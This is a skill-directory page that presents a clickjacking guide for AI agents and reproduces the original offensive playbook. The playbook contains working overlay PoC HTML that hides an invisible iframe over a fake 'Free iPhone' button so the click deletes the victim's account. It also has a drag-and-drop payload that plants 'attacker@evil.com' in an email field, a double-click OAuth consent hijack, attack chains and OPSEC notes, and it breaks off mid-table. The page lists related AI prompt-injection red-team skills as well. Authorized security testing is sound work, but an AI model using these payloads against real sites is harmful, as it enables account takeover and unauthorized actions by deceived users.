clickjacking
What it does
This guide covers clickjacking, where an attacker frames a sensitive page and tricks a user into clicking it. It is for web teams who want to confirm their pages block framing.
When to use it
- βWhen a site has sensitive actions such as payments, deletions or permission grants.
- βWhen you want to check whether key pages send the right frame protection headers.
- βWhen a team needs to test whether its pages can be shown inside another site's frame.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan our account settings and approval pages be framed by another website? Please check the headers.β
5 new skills a week. 1 minute to read.
How it works
The agent checks the frame-related headers on sensitive pages, tests whether they load inside a frame, and reports pages that can be framed.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Clickjacking Playbook
Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without X-Frame-Options
and without Content-Security-Policy: frame-ancestors are framable.
1. Detection β framing controls
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
echo "== $path =="
curl -s -D- -o /dev/null "https://<TARGET>$path" \
| grep -iE "x-frame-options|content-security-policy"
done
# Quick "is it framable?" probe β save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI β framing allowed.
Server-side allow:
- no
X-Frame-Optionsheader and - no
frame-ancestorsdirective inContent-Security-Policy(orframe-ancestors */ overly broad).
2. Misconfig matrix
| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
XFO: ALLOW-FROM only |
ignored by modern browsers | full framing in Chromium/Firefox |
frame-ancestors * |
explicit allow-all | full framing |
frame-ancestors 'self' *.target.com |
trusts every subdomain | host PoC on a takeable subdomain |
Frame-buster JS only (if (top!=self) top.location=self.location) |
client-side defense | sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it |
| 204-frame-buster | response replaces self | <iframe csp="sandbox" ...> or pre-empt with onbeforeunload |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
Permissions-Policy missing |
camera/mic in iframe | request perms in nested iframe over consent UI |
3. Exploit PoC β overlay
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
body { margin:0 }
.lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
iframe { position:absolute; z-index:2; opacity:0.0001;
top:120px; left:60px; width:400px; height:80px;
border:0; pointer-events:auto; }
</style></head><body>
<div class="lure">
Click <b style="color:red">CLAIM</b> to win an iPhone:
<button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
</div>
<!-- aligned so the invisible iframe button sits exactly over CLAIM -->
<iframe src="https://<TARGET>/account/delete?confirm=1"
sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
3.1 Drag-and-drop CJ
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
3.2 Double-clickjacking (browser confirm dialog)
<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
4. Chains
- CJ + OAuth consent β silent scope grant β API takeover.
- CJ + CSRF-token leakage β click triggers a state change that reads token from the framed page.
- CJ + self-XSS β coerce victim to paste/drag the payload into a framed input.
- CJ + 2FA confirm β step-up auth confirmed under a lure click.
5. Tools
- Burp Suite β Clickbandit (point-and-click PoC generator)
- clickjacker.io / OWASP Clickjacking Tester
- Manual: any HTML editor + a browser with frame ancestors disabled in dev
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP re |
FAQ
Which headers protect against framing?
The guide names the X-Frame-Options header and the frame-ancestors rule in Content Security Policy.
Why does severity depend on the action?
The guide says the risk is set by what the framed action can do, such as deleting an account.
Are older header settings enough?
The guide notes that some older allow-from settings are ignored by modern browsers.
Details
Original description by the author
UI redressing β missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14053
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.